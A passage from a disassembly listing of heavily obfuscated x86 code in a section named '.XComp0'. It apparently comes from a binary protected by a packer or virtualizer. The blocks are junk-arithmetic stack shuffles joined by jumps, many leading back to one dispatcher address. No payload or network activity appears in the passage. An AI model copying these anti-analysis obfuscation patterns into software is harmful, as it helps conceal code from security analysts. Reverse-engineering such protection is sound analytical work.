loc_58B300 ; --------------------------------------------------------------------------- loc_58C4CB: ; CODE XREF: .XComp0:00598164j add esi, 7CDD63ACh add esi, ebp jmp loc_589949 ; --------------------------------------------------------------------------- loc_58C4D8: ; CODE XREF: .XComp0:00594DADj push ecx jmp loc_5967C3 ; --------------------------------------------------------------------------- loc_58C4DE: ; CODE XREF: .XComp0:0058D183j push dword ptr [esp] pop edx push edx jmp loc_58CE46 ; --------------------------------------------------------------------------- loc_58C4E8: ; CODE XREF: .XComp0:005844A8j mov ecx, [esp] add esp, 4 sub eax, 5C9C589Dh push 74E2h jmp loc_58E227 ; --------------------------------------------------------------------------- loc_58C4FD: ; CODE XREF: .XComp0:0058B2FBj pop esp push ecx mov ecx, 43525619h xor ecx, 43525619h add ecx, eax jmp loc_58E500 ; --------------------------------------------------------------------------- loc_58C511: ; CODE XREF: .XComp0:0058FD43j push 7680h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5932B5 ; --------------------------------------------------------------------------- loc_58C546: ; CODE XREF: .XComp0:0058A1CCj xor dl, ah jmp loc_595ED2 ; --------------------------------------------------------------------------- loc_58C54D: ; CODE XREF: .XComp0:005852ECj add eax, 624E4F76h add eax, edx push edx push edi mov edi, 58274E4Ah jmp loc_5949A5 ; --------------------------------------------------------------------------- mov ax, [esp] push edi jmp loc_594A77 ; --------------------------------------------------------------------------- loc_58C56A: ; CODE XREF: .XComp0:005951BEj or ebp, eax pop eax jmp loc_594B08 ; --------------------------------------------------------------------------- loc_58C572: ; CODE XREF: .XComp0:0059650Fj shl edx, 1 jmp loc_588360 ; --------------------------------------------------------------------------- mov ecx, [esp] jmp loc_58F575 ; --------------------------------------------------------------------------- loc_58C581: ; CODE XREF: .XComp0:005906A7j xor esi, 58AF5855h add esi, 4F56CEBBh jmp loc_596B18 ; --------------------------------------------------------------------------- loc_58C592: ; CODE XREF: .XComp0:00597AC5j add ebp, esi add ebp, 252E4332h pop esi jmp loc_58A4F0 ; --------------------------------------------------------------------------- loc_58C5A0: ; CODE XREF: .XComp0:00584119j pop esp mov [esp], ecx push dword ptr [esp] jmp loc_586C52 ; --------------------------------------------------------------------------- loc_58C5AC: ; CODE XREF: .XComp0:00592431j mov [esp], esi push edx jmp loc_5882AE ; --------------------------------------------------------------------------- loc_58C5B5: ; CODE XREF: .XComp0:00583FF9j add esp, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58C5D5: ; CODE XREF: .XComp0:005926AFj add eax, edx mov edx, [esp] jmp loc_595ACB ; --------------------------------------------------------------------------- loc_58C5DF: ; CODE XREF: .XComp0:00591956j sub ecx, 4 xor ecx, [esp] jmp loc_58DCE5 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58C5F5: ; CODE XREF: .XComp0:00593309j add edx, 318B132Dh add edx, ebp sub edx, 318B132Dh push ebx mov ebx, 0C52537Eh jmp loc_58B417 ; --------------------------------------------------------------------------- push 192Eh mov [esp], edx push 51B67078h jmp loc_587048 ; --------------------------------------------------------------------------- loc_58C620: ; CODE XREF: .XComp0:0058D5C9j add ebx, 4 xchg ebx, [esp] jmp loc_5854DF ; --------------------------------------------------------------------------- loc_58C62E: ; CODE XREF: .XComp0:00586687j mov ebx, 71964779h shl ebx, 3 or ebx, 7B54630Bh sub ebx, 0FFF67BC7h mov eax, ebx pop ebx jmp loc_5944FA ; --------------------------------------------------------------------------- loc_58C64A: ; CODE XREF: .XComp0:00591C82j push dword ptr [esp] pop eax jmp loc_598404 ; --------------------------------------------------------------------------- loc_58C653: ; CODE XREF: .XComp0:00588935j pop edi xchg eax, [esp] pop esp mov [esp], esi sub esp, 4 mov [esp], edi push esi jmp loc_5900EB ; --------------------------------------------------------------------------- loc_58C66A: ; CODE XREF: .XComp0:00588AFEj mov esi, 70EC1FE7h sub eax, 69D308F2h push 32AFh mov [esp], edi jmp loc_58EC62 ; --------------------------------------------------------------------------- loc_58C681: ; CODE XREF: .XComp0:0058DA5Fj shr esi, 3 add esi, 1A0957A1h xchg ecx, esi not ecx xchg ecx, esi jmp loc_58D700 ; --------------------------------------------------------------------------- loc_58C695: ; CODE XREF: .XComp0:005866DFj xor eax, 82581E33h add esi, eax pop eax jmp loc_58A66A ; --------------------------------------------------------------------------- loc_58C6A2: ; CODE XREF: .XComp0:0058FEFBj dec ebp push edx mov edx, 0F4DABECAh sub ebp, edx pop edx jmp loc_591B6D ; --------------------------------------------------------------------------- loc_58C6B1: ; CODE XREF: .XComp0:00594FD0j push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] jmp loc_592A62 ; --------------------------------------------------------------------------- loc_58C6C8: ; CODE XREF: .XComp0:00588A55j add edx, 4 push ebp push edi mov edi, 54976E35h mov ebp, 54976E39h sub ebp, edi pop edi sub edx, ebp jmp loc_597E06 ; --------------------------------------------------------------------------- loc_58C6E4: ; CODE XREF: .XComp0:005878CFj add ebp, 1 add ebp, 65410EFEh xor ebp, 0AFC47366h sub ecx, ebp pop ebp and eax, ecx push dword ptr [esp] jmp loc_589E1E ; --------------------------------------------------------------------------- loc_58C700: ; CODE XREF: .XComp0:0059561Aj add ecx, 72C44D94h pop esi sub esi, ecx pop ecx jmp loc_5985DB ; --------------------------------------------------------------------------- loc_58C70F: ; CODE XREF: .XComp0:00593E16j add esp, 4 shl esi, 7 xor esi, 7D2A4E39h or esi, 51CE22B2h inc esi jmp loc_586771 ; --------------------------------------------------------------------------- loc_58C72A: ; CODE XREF: .XComp0:005844E3j mov bx, [esp] add esp, 2 jmp loc_58E6F3 ; --------------------------------------------------------------------------- loc_58C736: ; CODE XREF: .XComp0:005906A0j sub eax, 4 xchg eax, [esp] jmp loc_584B81 ; --------------------------------------------------------------------------- loc_58C741: ; CODE XREF: .XComp0:00592D83j push 5ABDh mov [esp], ecx jmp loc_58C9A8 ; --------------------------------------------------------------------------- loc_58C74E: ; CODE XREF: .XComp0:00591398j add ecx, 4 xchg ecx, [esp] pop esp sub edi, 2678500Eh add edi, esi add edi, 2678500Eh jmp loc_58A951 ; --------------------------------------------------------------------------- loc_58C768: ; CODE XREF: .XComp0:0058F00Bj mov [esp], eax push ebx mov bl, 0D5h push ecx mov ch, bl mov al, ch push dword ptr [esp] pop ecx add esp, 4 pop ebx jmp loc_597FAC ; --------------------------------------------------------------------------- loc_58C783: ; CODE XREF: .XComp0:00596136j add ebp, 4 jmp loc_58C49E ; --------------------------------------------------------------------------- loc_58C78E: ; CODE XREF: .XComp0:00587FAAj push esi push ebp mov ebp, 74531E20h shl ebp, 3 sub ebp, 0A298F0FCh mov esi, ebp pop ebp add ebp, esi mov esi, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_59141D ; --------------------------------------------------------------------------- loc_58C7B4: ; CODE XREF: .XComp0:00597C62j pop ebx jmp loc_58741D ; --------------------------------------------------------------------------- loc_58C7BA: ; CODE XREF: .XComp0:00590AC4j mov si, [esp] push edi mov edi, esp sub esp, 4 jmp loc_5928A8 ; --------------------------------------------------------------------------- loc_58C7C9: ; CODE XREF: .XComp0:00586AE7j add cl, bl sub cl, 0D6h pop ebx xor cl, 0Dh add bl, cl pop ecx and bl, 7Bh push ecx mov cl, 92h push eax mov al, 0E9h or cl, al pop eax inc cl sub cl, 67h and cl, 86h jmp loc_58FB36 ; --------------------------------------------------------------------------- loc_58C7EE: ; CODE XREF: .XComp0:0058B7CFj add ebx, eax sub ebx, 5BE959D4h push dword ptr [esp] pop eax add esp, 4 pop ebp add ebx, 2 xor ebx, [esp] xor [esp], ebx jmp loc_58EA00 ; --------------------------------------------------------------------------- loc_58C80C: ; CODE XREF: .XComp0:00591A1Bj jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58C811: ; CODE XREF: .XComp0:00592A91j sub ecx, 0D0D8F798h push eax push ebp push 731F4DD6h mov ebp, [esp] add esp, 4 xor ebp, 17DB69E9h jmp loc_595717 ; --------------------------------------------------------------------------- loc_58C832: ; CODE XREF: .XComp0:0058D99Aj add ebx, edx pop edx add ebx, 4 xchg ebx, [esp] jmp loc_5942CA ; --------------------------------------------------------------------------- loc_58C843: ; CODE XREF: .XComp0:005894A3j mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_598330 ; --------------------------------------------------------------------------- loc_58C853: ; CODE XREF: .XComp0:0058EBC4j push cx push eax push ebx mov bl, 0DEh jmp loc_5893A2 ; --------------------------------------------------------------------------- loc_58C85E: ; CODE XREF: .XComp0:00587E16j mov [esp], ecx mov ecx, 4ECC48E9h inc ecx sub ecx, 0FFFFFFFFh and ecx, 35D5156Dh shr ecx, 3 push edx mov edx, 2F82D4Ch sub edx, 43B9CCA3h sub ecx, edx pop edx sub edi, 20B97CF2h jmp loc_58FF27 ; --------------------------------------------------------------------------- loc_58C88D: ; CODE XREF: .XComp0:0058A44Cj add eax, 0F621E7Ch sub eax, 54C57887h sub esp, 4 mov [esp], ecx push eax push ebp push 77186588h pop ebp neg ebp jmp loc_58E2EE ; --------------------------------------------------------------------------- loc_58C8AF: ; CODE XREF: .XComp0:005887EDj mov eax, [esp] jmp loc_5955C2 ; --------------------------------------------------------------------------- loc_58C8B7: ; CODE XREF: .XComp0:00591C9Aj mov [esp], ebx mov ebx, 0ED5F8AC2h add edx, ebx pop ebx add esi, edx jmp loc_58B5F5 ; --------------------------------------------------------------------------- loc_58C8C9: ; CODE XREF: .XComp0:00596089j mov ecx, edx jmp loc_594B3C ; --------------------------------------------------------------------------- loc_58C8D0: ; CODE XREF: .XComp0:0058E099j inc ebx add ebx, 0F4194191h add ecx, ebx mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], edx jmp loc_5901F7 ; --------------------------------------------------------------------------- loc_58C8FB: ; CODE XREF: .XComp0:0058A01Aj movzx eax, al lea eax, [edi+eax*4] sub esp, 4 mov [esp], ebp sub esp, 4 push esp pop dword ptr [esp] push edi mov edi, 37310036h shl edi, 8 jmp loc_592C06 ; --------------------------------------------------------------------------- loc_58C91F: ; CODE XREF: .XComp0:005916C6j push ecx mov cl, 34h mov bh, cl pop ecx sub bh, 91h xor dl, bh pop ebx sub bl, dl pop edx add bl, 0D6h sub bl, al push cx mov cl, 0D6h sub bl, 49h sub bl, cl jmp loc_58E55B ; --------------------------------------------------------------------------- loc_58C941: ; CODE XREF: .XComp0:00594F03j mov [esp], ebx push edx jmp loc_5979DE ; --------------------------------------------------------------------------- loc_58C94A: ; CODE XREF: .XComp0:00587589j sub esi, 4 xor esi, [esp] xor [esp], esi jmp loc_590CB8 ; --------------------------------------------------------------------------- loc_58C95B: ; CODE XREF: .XComp0:00594827j sub ebx, 0F641941h xor ebx, 0E61D9A10h and ecx, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_5893E9 ; --------------------------------------------------------------------------- loc_58C975: ; CODE XREF: .XComp0:00589C23j add ebp, eax sub ebp, 0B467AFFh jmp loc_58536A ; --------------------------------------------------------------------------- loc_58C982: ; CODE XREF: .XComp0:005876B4j or edx, eax shl edx, 1 jmp loc_598773 ; --------------------------------------------------------------------------- loc_58C98B: ; CODE XREF: .XComp0:00596656j push ebx pop ecx pop ebx sub esp, 4 mov [esp], esi push ebp jmp loc_5900DC ; --------------------------------------------------------------------------- loc_58C99D: ; CODE XREF: .XComp0:005962DDj or ecx, 5ABC6EF7h jmp loc_592BF1 ; --------------------------------------------------------------------------- loc_58C9A8: ; CODE XREF: .XComp0:0058C749j mov ecx, esp add ecx, 4 push esi jmp loc_5903DD ; --------------------------------------------------------------------------- loc_58C9B6: ; CODE XREF: .XComp0:00593E43j shl ebp, 8 jmp loc_590BE7 ; --------------------------------------------------------------------------- loc_58C9BE: ; CODE XREF: .XComp0:005967CBj pop esp and eax, ebp push dword ptr [esp] pop ebp push 3D72h mov [esp], edi push esp jmp loc_5883A3 ; --------------------------------------------------------------------------- loc_58C9D3: ; CODE XREF: .XComp0:00585E61j or edi, 32E620CCh push edi not dword ptr [esp] pop edi push ebp jmp loc_5891FC ; --------------------------------------------------------------------------- loc_58C9E4: ; CODE XREF: .XComp0:00591B5Cj xor ebp, 7FB0664Dh shr ebp, 4 sub ebp, 0BF78DA47h add eax, ebp pop ebp pop esi jmp loc_585D0A ; --------------------------------------------------------------------------- loc_58C9FC: ; CODE XREF: .XComp0:00588982j shl cl, 4 push edx mov dl, 0DCh sub dl, 6 add cl, dl pop edx inc cl shr cl, 1 neg cl add cl, 82h push edx push cx jmp loc_583F2E ; --------------------------------------------------------------------------- loc_58CA19: ; CODE XREF: .XComp0:00589CD7j neg eax jmp loc_58DFBB ; --------------------------------------------------------------------------- loc_58CA20: ; CODE XREF: .XComp0:0058F60Bj mov edx, ebx jmp loc_58AFE5 ; --------------------------------------------------------------------------- loc_58CA27: ; CODE XREF: .XComp0:005869EDj pop esi push 5D42h mov [esp], eax jmp loc_590671 ; --------------------------------------------------------------------------- loc_58CA35: ; CODE XREF: .XComp0:0059883Fj xor esi, edi pop edi jmp loc_597EC1 ; --------------------------------------------------------------------------- loc_58CA3D: ; CODE XREF: .XComp0:00585EDEj add eax, esi mov esi, [esp] jmp loc_594275 ; --------------------------------------------------------------------------- loc_58CA47: ; CODE XREF: .XComp0:00587869j push 48F6106Ch pop ebx not ebx and ebx, 61BB12C9h not ebx add ebx, 6BE3455Ah mov [edi+24h], ebx mov ebx, [esp] jmp loc_590D27 ; --------------------------------------------------------------------------- loc_58CA68: ; CODE XREF: .XComp0:0058933Cj mov ebp, edx pop edx pop eax pop ebx add [esp+4], ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] pop ebp add esp, 4 add ebp, 4 jmp loc_587C58 ; --------------------------------------------------------------------------- loc_58CA8C: ; CODE XREF: .XComp0:0058EF56j not eax shl eax, 2 add eax, 0E554086Ah jmp loc_585916 ; --------------------------------------------------------------------------- loc_58CA9B: ; CODE XREF: .XComp0:00593D4Cj xor ebp, ecx pop ecx sub ebx, 54690CD4h add ebx, ebp push eax push 1E204C62h pop eax jmp loc_597C9C ; --------------------------------------------------------------------------- loc_58CAB2: ; CODE XREF: .XComp0:005915FAj add esi, 4 xchg esi, [esp] pop esp jmp loc_58E69B ; --------------------------------------------------------------------------- loc_58CAC1: ; CODE XREF: .XComp0:0058CF47j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp shr ecx, 7 push 3F72h mov [esp], ebp sub esp, 4 mov [esp], ebx mov ebp, [esp] sub esp, 4 mov [esp], esi push 4EA2h push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_585683 ; --------------------------------------------------------------------------- loc_58CB02: ; CODE XREF: .XComp0:0058A361j push eax push edx push ebx mov bl, 8Ah mov dh, bl pop ebx push ecx mov cl, dh mov ah, cl pop ecx pop edx mov dl, ah mov eax, [esp] jmp loc_58FD72 ; --------------------------------------------------------------------------- loc_58CB1B: ; CODE XREF: .XComp0:0058A17Ej push 4 pop edx push ecx jmp loc_587D9F ; --------------------------------------------------------------------------- loc_58CB27: ; CODE XREF: .XComp0:0059042Ej mov [esp], ecx push 7048h jmp loc_5919D7 ; --------------------------------------------------------------------------- loc_58CB34: ; CODE XREF: .XComp0:0058AFE0j mov [esp], ebx push edi push 48927CC0h pop edi or edi, 40023A02h xor edi, 2F835352h and edi, 9E353CFh push esi mov esi, 29AE0C58h xor esi, 2E3928B4h inc esi sub esi, 290BFF2h xor edi, esi pop esi mov ebx, edi pop edi not ebx neg ebx or ebx, 58047D3Fh jmp loc_590B89 ; --------------------------------------------------------------------------- loc_58CB78: ; CODE XREF: .XComp0:00589440j push ebx jmp loc_58A6B6 ; --------------------------------------------------------------------------- loc_58CB7E: ; CODE XREF: .XComp0:00595B0Fj add eax, 0F3F4DFC7h mov edx, eax pop eax push eax mov eax, 1AB4678Ch shl eax, 3 not eax jmp loc_5970AF ; --------------------------------------------------------------------------- loc_58CB96: ; CODE XREF: .XComp0:00596369j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], ecx push esi mov esi, esp add esi, 4 jmp loc_589056 ; --------------------------------------------------------------------------- loc_58CBBA: ; CODE XREF: .XComp0:0059423Aj add esp, 4 push ebx mov ebx, 2A721C55h jmp loc_585781 ; --------------------------------------------------------------------------- loc_58CBC8: ; CODE XREF: .XComp0:00588F48j mov ecx, 72781F91h xor ecx, eax pop eax mov edi, ecx jmp loc_590D3B ; --------------------------------------------------------------------------- loc_58CBD7: ; CODE XREF: .XComp0:0058DC56j add cx, 46C8h pop edx xor ax, cx mov ecx, [esp] push edi jmp loc_583E3C ; --------------------------------------------------------------------------- loc_58CBE9: ; CODE XREF: .XComp0:005934D1j sub ebx, 4951252h add ebx, 0A7CBC14Ch jmp loc_5970A0 ; --------------------------------------------------------------------------- loc_58CBFA: ; CODE XREF: .XComp0:00590A4Dj mov eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebp mov ebp, 70BC190Fh jmp loc_598844 ; --------------------------------------------------------------------------- loc_58CC23: ; CODE XREF: .XComp0:0058B3E9j xor ax, dx mov dx, [esp] add esp, 2 sub bx, 1B58h sub bx, 7683h sub bx, ax add bx, 7683h jmp loc_584045 ; --------------------------------------------------------------------------- loc_58CC44: ; CODE XREF: .XComp0:005928B4j pop esi shl edx, 7 add edx, 0FFFFFFFFh sub edx, 5FA8C87Bh jmp loc_58561D ; --------------------------------------------------------------------------- loc_58CC59: ; CODE XREF: .XComp0:0058BAFBj push dword ptr [esp] pop ecx add esp, 4 jmp loc_58CEB8 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 add ebx, eax pop eax xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_58548D ; --------------------------------------------------------------------------- loc_58CC95: ; CODE XREF: .XComp0:00588A60j sub esi, 6B535AD1h push eax jmp loc_59575F ; --------------------------------------------------------------------------- loc_58CCA1: ; CODE XREF: .XComp0:0058F8CDj push esp mov eax, [esp] jmp loc_593A86 ; --------------------------------------------------------------------------- loc_58CCAA: ; CODE XREF: .XComp0:0059408Fj add ebx, 4 push ecx mov ecx, 4 add ebx, 6FE21796h sub ebx, ecx sub ebx, 6FE21796h mov ecx, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], ebp push 0C2Eh jmp loc_590AC9 ; --------------------------------------------------------------------------- loc_58CCE4: ; CODE XREF: .XComp0:0059485Aj add ebx, esi pop esi push eax push 719005A8h mov eax, [esp] add esp, 4 sub eax, 719005A4h jmp loc_590C8A ; --------------------------------------------------------------------------- loc_58CD00: ; CODE XREF: .XComp0:0058B332j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58CD05: ; CODE XREF: .XComp0:0058AFD2j pop esp shr ecx, 0 or eax, eax jz loc_591BE0 push edi push 67DDh mov [esp], esp push ecx jmp loc_592A6E ; --------------------------------------------------------------------------- loc_58CD20: ; CODE XREF: .XComp0:00589AF6j xor edi, [esp] jmp loc_59057B ; --------------------------------------------------------------------------- loc_58CD28: ; CODE XREF: .XComp0:00586413j xor edx, 7E45911h push 2469h jmp loc_587297 ; --------------------------------------------------------------------------- loc_58CD38: ; CODE XREF: .XComp0:005891C5j pop eax shl ch, 4 shl ch, 1 push edx mov dh, 78h xor ch, dh pop edx or bh, ch pop ecx sub bh, 66h mov dh, bh pop ebx jmp loc_5914F7 ; --------------------------------------------------------------------------- loc_58CD52: ; CODE XREF: .XComp0:00590DDDj pop esi jmp loc_584C5B ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push small 27Bh jmp loc_592D54 ; --------------------------------------------------------------------------- loc_58CD65: ; CODE XREF: .XComp0:00593730j inc esi dec esi jmp loc_58715C ; --------------------------------------------------------------------------- loc_58CD6C: ; CODE XREF: .XComp0:0058B5A1j push 5DE3h mov [esp], edx mov dl, 15h neg dl neg dl shl dl, 1 push 69FDh jmp loc_58897D ; --------------------------------------------------------------------------- loc_58CD86: ; CODE XREF: .XComp0:0058EC2Bj push 4A25h mov [esp], ecx mov ecx, 1 add edx, ecx mov ecx, [esp] jmp loc_589F1D ; --------------------------------------------------------------------------- loc_58CD9D: ; CODE XREF: .XComp0:0058BD2Aj push 71052592h mov edx, [esp] push eax mov eax, esp jmp loc_59819B ; --------------------------------------------------------------------------- loc_58CDAD: ; CODE XREF: .XComp0:0058F6B6j sub esp, 4 mov [esp], edx mov dl, 0ACh push ecx mov cl, 97h jmp loc_58BE64 ; --------------------------------------------------------------------------- loc_58CDBD: ; CODE XREF: .XComp0:00587349j push edx jmp loc_591DC6 ; --------------------------------------------------------------------------- loc_58CDC3: ; CODE XREF: .XComp0:00589367j add esi, ebp sub esi, 45EA6395h add esi, 64BD0BB1h pop ebp sub esi, 2 xchg esi, [esp] pop esp mov [esp], ax push small word ptr [esp+2] mov ax, [esp] jmp loc_5930C0 ; --------------------------------------------------------------------------- loc_58CDEE: ; CODE XREF: .XComp0:005910A3j mov di, 954Ch add bp, di jmp loc_59886B ; --------------------------------------------------------------------------- loc_58CDFA: ; CODE XREF: .XComp0:0058E20Fj pop edi push 7E26h mov [esp], ebx push esi mov esi, 2F02358Ah jmp loc_5898D3 ; --------------------------------------------------------------------------- loc_58CE0E: ; CODE XREF: .XComp0:005989F8j or esi, 3E116022h neg esi xor esi, 133DE885h jmp loc_58D393 ; --------------------------------------------------------------------------- loc_58CE21: ; CODE XREF: .XComp0:0058FE93j sub dword ptr [esp+8], 7FDF121Dh pop edx push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop edx push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_593052 ; --------------------------------------------------------------------------- loc_58CE46: ; CODE XREF: .XComp0:0058C4E3j push esp jmp loc_5910FB ; --------------------------------------------------------------------------- loc_58CE4C: ; CODE XREF: .XComp0:00586F7Ej xchg eax, ebx shr ebx, 2 jmp loc_594E0C ; --------------------------------------------------------------------------- loc_58CE55: ; CODE XREF: .XComp0:00598531j xor ebp, 4AE811B8h mov ecx, ebp pop ebp jmp loc_589C5E ; --------------------------------------------------------------------------- loc_58CE63: ; CODE XREF: .XComp0:0058D58Cj mov dh, 0C0h mov ah, 0D6h jmp loc_58A1C9 ; --------------------------------------------------------------------------- loc_58CE6C: ; CODE XREF: .XComp0:0058F057j sub [esp+8], ecx pop ecx jmp loc_58BF81 ; --------------------------------------------------------------------------- loc_58CE76: ; CODE XREF: .XComp0:00594A35j push ecx mov ecx, 2302C441h sub ebp, ecx pop ecx xor eax, ebp pop ebp sub esp, 4 mov [esp], ebp jmp loc_594FE8 ; --------------------------------------------------------------------------- loc_58CE90: ; CODE XREF: .XComp0:00588ECFj not dword ptr [esp] jmp loc_596958 ; --------------------------------------------------------------------------- loc_58CE98: ; CODE XREF: .XComp0:0058F53Aj sub esp, 4 mov [esp], eax push edi push edx jmp loc_5959B9 ; --------------------------------------------------------------------------- loc_58CEA8: ; CODE XREF: .XComp0:00584C56j push edx push esp pop edx push eax mov eax, 4 add edx, eax jmp loc_59800C ; --------------------------------------------------------------------------- loc_58CEB8: ; CODE XREF: .XComp0:0058CC60j pop dword ptr [esp] pop esp cmp cl, al pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58CEC4: ; CODE XREF: .XComp0:0058B3D1j xor eax, [esp] pop esp mov [esp], eax push ebx mov ebx, 4 mov eax, ebx jmp loc_5913FD ; --------------------------------------------------------------------------- loc_58CED8: ; CODE XREF: .XComp0:00594D2Ej and edi, 67023EE5h add edi, 0FFFFFFFFh neg edi sub esp, 4 mov [esp], ebx mov ebx, 149F26A6h xor ebx, 8AF0BCFh not ebx sub ebx, 43D1DC9Ah sub edi, 49DB29DCh sub edi, ebx jmp loc_597CB2 ; --------------------------------------------------------------------------- push ebx mov bh, ch mov ch, [esp+4] mov [esp+4], bh mov ebx, [esp] add esp, 4 xchg bh, ch push dx mov dl, ah mov ah, bh push ecx mov ch, dl mov bh, ch pop ecx pop dx not ah xor bh, ah xor ah, bh xor bh, ah jmp loc_58A0C1 ; --------------------------------------------------------------------------- loc_58CF40: ; CODE XREF: .XComp0:005925D0j and ecx, ebx push dword ptr [esp] pop ebx push edi jmp loc_58CAC1 ; --------------------------------------------------------------------------- loc_58CF4C: ; CODE XREF: .XComp0:0058FECEj push 68EE35D2h pop edx dec edx add edx, 0FFFFFFFFh jmp loc_596F44 ; --------------------------------------------------------------------------- loc_58CF5E: ; CODE XREF: .XComp0:0058F976j mov eax, 3BDC12FFh sub ecx, eax mov eax, [esp] jmp loc_594ECE ; --------------------------------------------------------------------------- loc_58CF6D: ; CODE XREF: .XComp0:0058E629j add esi, eax mov eax, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] jmp loc_5915FF ; --------------------------------------------------------------------------- loc_58CF86: ; CODE XREF: .XComp0:00584DACj push ax mov al, 61h jmp loc_585BBB ; --------------------------------------------------------------------------- loc_58CF8F: ; CODE XREF: .XComp0:00598986j mov [esp], esp add dword ptr [esp], 4 pop eax push esi mov esi, 5ECD13A3h and esi, 59747DCCh jmp loc_58439D ; --------------------------------------------------------------------------- loc_58CFA8: ; CODE XREF: .XComp0:00594A58j mov esi, [esp] add esp, 4 push 5130h mov [esp], edi push esp pop edi jmp loc_58A3E2 ; --------------------------------------------------------------------------- loc_58CFBD: ; CODE XREF: .XComp0:005872B4j sub eax, ebp mov ebp, [esp] add esp, 4 mov ecx, [esp] push eax jmp loc_5948D0 ; --------------------------------------------------------------------------- loc_58CFD1: ; CODE XREF: .XComp0:00596602j pop esp sub ecx, 21E629C0h jmp loc_5861D0 ; --------------------------------------------------------------------------- loc_58CFDD: ; CODE XREF: .XComp0:0059540Ej pop ebx add eax, 4 jmp loc_58EA08 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_594164 ; --------------------------------------------------------------------------- loc_58CFEF: ; CODE XREF: .XComp0:00595F11j or edi, 2D540272h xchg ebx, edi jmp loc_5864E5 ; --------------------------------------------------------------------------- loc_58CFFC: ; CODE XREF: .XComp0:00589423j mov [esp], edx push 57D24518h pop edx jmp loc_58EBF5 ; --------------------------------------------------------------------------- loc_58D00A: ; CODE XREF: .XComp0:0058A0E1j pop eax mov dh, bh pop ebx sub esp, 4 jmp loc_597F12 ; --------------------------------------------------------------------------- loc_58D016: ; CODE XREF: .XComp0:00592D58j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58D01B: ; CODE XREF: .XComp0:005905F4j add esi, eax jmp loc_58A5CA ; --------------------------------------------------------------------------- loc_58D022: ; CODE XREF: .XComp0:00584E1Bj mov [esp], edx jmp loc_58547E ; --------------------------------------------------------------------------- loc_58D02A: ; CODE XREF: .XComp0:005851D3j mov ebp, esp jmp loc_595E02 ; --------------------------------------------------------------------------- loc_58D031: ; CODE XREF: .XComp0:00593351j pop eax push edx push 1 push dword ptr [esp] jmp loc_5859F0 ; --------------------------------------------------------------------------- loc_58D040: ; CODE XREF: .XComp0:00583E24j xor ebp, eax pop eax push esi push ebp mov ebp, 317E5283h mov esi, ebp mov ebp, [esp] jmp loc_598A81 ; --------------------------------------------------------------------------- loc_58D054: ; CODE XREF: .XComp0:00591627j push dword ptr [esp] pop ebx jmp loc_59793C ; --------------------------------------------------------------------------- loc_58D05D: ; CODE XREF: .XComp0:00585141j sub eax, 2D1B18B0h sub eax, ebp jmp loc_5874DA ; --------------------------------------------------------------------------- loc_58D069: ; CODE XREF: .XComp0:0058D2E5j push dword ptr [esp] jmp loc_586BFE ; --------------------------------------------------------------------------- loc_58D071: ; CODE XREF: .XComp0:00584577j pop edx xchg eax, [esp] jmp loc_595BCB ; --------------------------------------------------------------------------- loc_58D07A: ; CODE XREF: .XComp0:00591CF7j mov edi, 0AF18DC06h add ebx, edi pop edi xor ebp, ebx jmp loc_592775 ; --------------------------------------------------------------------------- loc_58D089: ; CODE XREF: .XComp0:0059103Dj push edi mov edi, 194471EAh sub ecx, edi pop edi sub ecx, 2597178Fh jmp loc_585D9B ; --------------------------------------------------------------------------- loc_58D09D: ; CODE XREF: .XComp0:005918F4j dec eax shr eax, 5 add eax, 0FDF58FA2h add ebp, eax pop eax jmp loc_585934 ; --------------------------------------------------------------------------- loc_58D0AE: ; CODE XREF: .XComp0:0059310Cj mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_586E40 ; --------------------------------------------------------------------------- loc_58D0C5: ; CODE XREF: .XComp0:0058EFB1j pop dword ptr [esp] add dword ptr [esp], 4 mov ebx, [esp] jmp loc_58AB04 ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_58D0E0: ; CODE XREF: .XComp0:00594EF8j push esp pop ebx jmp loc_5845B8 ; --------------------------------------------------------------------------- loc_58D0E7: ; CODE XREF: .XComp0:00588275j add al, 28h add al, cl jmp loc_58E206 ; --------------------------------------------------------------------------- loc_58D0F0: ; CODE XREF: .XComp0:00594806j sub al, dh sub al, 90h jmp loc_592805 ; --------------------------------------------------------------------------- loc_58D0F9: ; CODE XREF: .XComp0:00590DD2j push 5454h mov [esp], eax push 0CA5h mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] pop edi push edx mov edx, esp push eax mov eax, 5E9F02B3h jmp loc_58F9A7 ; 